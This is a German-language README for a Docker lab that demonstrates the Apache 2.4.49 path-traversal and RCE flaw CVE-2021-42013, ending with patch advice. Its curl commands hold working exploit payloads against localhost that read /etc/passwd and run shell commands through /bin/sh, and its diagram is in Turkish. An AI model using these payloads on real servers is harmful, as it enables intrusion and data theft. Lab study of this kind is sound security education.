
Laborarbeit, die die Schwachstelle von Apache HTTP Server 2.4.49 (CVE-2021-42013) in einer Docker-Umgebung demonstriert.
In diesem Projekt habe ich die in Apache HTTP Server 2.4.49 enthaltene Schwachstelle CVE-2021-42013 in einer von mir mit Docker erstellten Laborumgebung demonstriert.
Ziel ist es, die Entstehung, Funktionsweise und Auswirkungen der Schwachstelle auf das System in einer kontrollierten Umgebung zu untersuchen.
Diese Arbeit dient ausschließlich Ausbildungs- und Laborzwecken.
.
├── Dockerfile
├── index.html
└── README.md
Vor dem Ausführen des Projekts müssen die folgenden Komponenten installiert sein.
Laden Sie zunächst das Repository auf Ihren Computer herunter.
git clone https://github.com/berraesen/apache-cve-2021-42013-lab.git
Wechseln Sie in den Ordner.
cd apache-cve-2021-42013-lab
Erstellen Sie das Docker-Image.
docker build -t apache-2.4.49-src .
Starten Sie den Container.
docker run -d -p 8081:80 --name apache-src apache-2.4.49-src
Betreten Sie den Container.
docker exec -it apache-src /bin/bash
Überprüfen Sie die Apache-Version.
/usr/local/apache2/bin/httpd -v
Zum Verlassen des Containers:
exit
Mit dem folgenden Befehl können Sie prüfen, ob das CGI-Modul aktiviert ist.
docker exec -it apache-src /usr/local/apache2/bin/apachectl -M
docker exec -it apache-src sed -i 's/#LoadModule cgid_module/LoadModule cgid_module/g' /usr/local/apache2/conf/httpd.conf
Starten Sie Apache anschließend neu.
docker exec -it apache-src /usr/local/apache2/bin/apachectl restart
Zum Deaktivieren des CGI-Moduls:
docker exec -it apache-src sed -i 's/LoadModule cgid_module/#LoadModule cgid_module/g' /usr/local/apache2/conf/httpd.conf
curl.exe -v --path-as-is "http://localhost:8081/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd"
curl.exe -v --path-as-is "http://localhost:8081/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh" --data "echo; id"
Um weitere Systeminformationen anzuzeigen:
curl.exe -s --path-as-is "http://localhost:8081/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh" --data "echo; id; uname -a; whoami" -o -
Nach Abschluss der Installation:
İstemci (cURL)
│
▼
Apache HTTP Server 2.4.49
│
▼
URL Normalization Hatası
│
▼
Path Traversal
│
├──────────────► CGI Kapalı
│ │
│ ▼
│ Dosya erişimi mümkün olabilir
│
▼
CGI Aktif
│
▼
/bin/sh çalıştırılabilir
│
▼
Remote Code Execution (RCE)
Um das RCE-Szenario demonstrieren zu können, muss das Modul mod_cgi aktiviert sein.
Zur Behebung dieser Schwachstelle wird empfohlen, Apache HTTP Server auf Version 2.4.51 oder eine neuere Version zu aktualisieren. Zudem wird empfohlen, CGI zu deaktivieren, falls es nicht verwendet wird, und nur für erforderliche Verzeichnisse geeignete Zugriffsberechtigungen festzulegen.